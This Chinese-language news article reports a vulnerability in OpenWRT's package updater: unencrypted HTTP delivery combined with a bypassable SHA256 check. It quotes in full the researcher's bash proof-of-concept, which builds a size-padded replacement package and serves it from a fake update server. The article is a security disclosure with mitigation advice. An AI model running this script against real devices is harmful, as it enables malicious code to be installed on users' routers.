OpenWRT漏洞或使数百万台设备易受攻击
近三年来,OpenWRT很容易受到远程执行代码的攻击,因为它的更新是通过未加密的通道提供的,并且数字签名验证很容易被绕过。研究员说。
OpenWRT有一个忠实的用户基础,他们使用免费提供的软件包来替代设备上安装的固件。除路由器外,OpenWRT还可以在智能手机,笔记本电脑和台式机上运行。用户通常会发现OpenWRT是更安全的选择,因为它提供了高级功能,并且其源代码易于审核。
但是,安全研究人员Guido Vranken最近发现,更新和安装文件是通过未加密的HTTP连接传递的,该连接易受攻击的攻击,使攻击者可以用恶意软件完全替换合法的更新。研究人员还发现,对于经验丰富的攻击者而言,绕过数字签名检查(将下载的更新验证为OpenWTR维护者提供的合法更新)是微不足道的。这两个漏洞的结合使发送恶意更新成为可能,这些更新将使易受攻击的设备自动安装。
不适合所有人
这些代码执行漏洞利用的范围受到限制,因为攻击者必须能够进行中间人攻击或篡改设备用来在Internet上查找更新的DNS服务器。这意味着没有恶意用户并且使用合法DNS服务器的网络上的路由器可以免受攻击。弗兰肯还推测,数据包欺骗或ARP缓存中毒也可能使攻击成为可能,但他告诫自己不要测试这两种方法。
尽管有这些要求,但许多网络仍连接着设备操作员未知或不受信任的人员。而且,将指向合法DNS的路由器设置替换为恶意DNS的路由器攻击已成为Internet上的事实。
无法使用HTTPS加密是造成漏洞的原因之一,HTTPS提供的加密功能使附近的攻击者无法在传输数据时篡改数据。HTTPS内置的身份验证保证也使攻击者无法假冒downloads.openwrt.org,这是提供合法更新和安装文件的真实OpenWRT服务器。
利用这些弱点,Vranken能够创建一个服务器,该服务器模拟了downloads.openwrt.org并提供了恶意更新。只要恶意文件与合法文件的大小相同,它就会由易受攻击的设备执行。在上周发表的一篇文章中,研究人员写道:
这样做很简单:
- 创建一个小于原始包
- 计算原始封包和受损包装之间的尺寸差
- 将此零字节数量附加到被破坏程序包的末尾
Vranken提供了以下验证概念代码:
#!/bin/bash # Download the package lists for mirroring wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig mv downloads.openwrt.org/snapshots . rm -rf downloads.openwrt.org/ # Get the original package wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") tar zxf attr_2.4.48-2_x86_64.ipk rm attr_2.4.48-2_x86_64.ipk # Extract the binaries mkdir data/ cd data/ tar zxvf ../data.tar.gz rm ../data.tar.gz # Build the replacement binary. It is a very small program that prints a string. rm -f /tmp/pwned.asm /tmp/pwned.o echo "section .text" >>/tmp/pwned.asm echo "global _start" >>/tmp/pwned.asm echo "_start:" >>/tmp/pwned.asm echo " mov edx,len" >>/tmp/pwned.asm echo " mov ecx,msg" >>/tmp/pwned.asm echo " mov ebx,1" >>/tmp/pwned.asm echo " mov eax,4" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo " mov eax,1" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo "section .data" >>/tmp/pwned.asm echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm echo "len equ $ - msg" >>/tmp/pwned.asm # Assemble nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o # Link ld /tmp/pwned.o -o usr/bin/attr # Pack into data.tar.gz tar czvf ../data.tar.gz * cd ../ # Remove files no longer needed rm -rf data/ # Pack tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary # Remove files no longer needed rm control.tar.gz data.tar.gz debian-binary # Compute the size difference between the original package and the compromised package MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))" # Pad the modified file to the expected size head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk # Download the dependency of attr wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk # Position the files for serving from the web server mkdir -p snapshots/packages/x86_64/packages/ mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ # Launch a basic web server that opkg will be connecting to sudo python -m SimpleHTTPServer 80
无法通过HTTPS传递更新可能是OpenWRT维护人员的故意决定,可能是为了适应只能通过未加密的HTTP通道接收更新的设备。为了防止攻击者利用此弱点,OpenWRT维护人员要求下载更新以匹配合法漏洞的SHA256 加密哈希。如果哈希值不匹配,则不建议设备执行更新。
但是Vranken发现可以通过在checksum_hex2bin函数的输入字符串的开头添加一个空格来绕过哈希检查。弗兰肯(Vranken)说,该漏洞似乎已于2017年2月引入。
部分修复
研究人员说,OpenWRT的维护者已经发布了权宜之计解决方案,可以部分缓解bug带来的风险。缓解措施要求从格式良好的列表中列出新的安装,这些列表不会避开哈希验证。但是,这不是一个适当的长期解决方案,因为攻击者可以简单地提供由OpenWRT维护者签名的较旧的软件包列表。” 从那里,攻击者可以使用与未受到缓解的设备相同的利用方式。
OpenWRT维护人员没有立即回答问题,询问为什么要通过HTTP交付安装和更新文件,以及何时可以获得较长期的修复程序。如果维护人员稍后回复,则此帖子将更新。
同时,OpenWRT用户应安装18.06.7或19.07.1版本,这两个版本均于2月发布。这些更新提供了权宜之计。
OpenWRT漏洞或使数百万台设备易受攻击:等您坐沙发呢!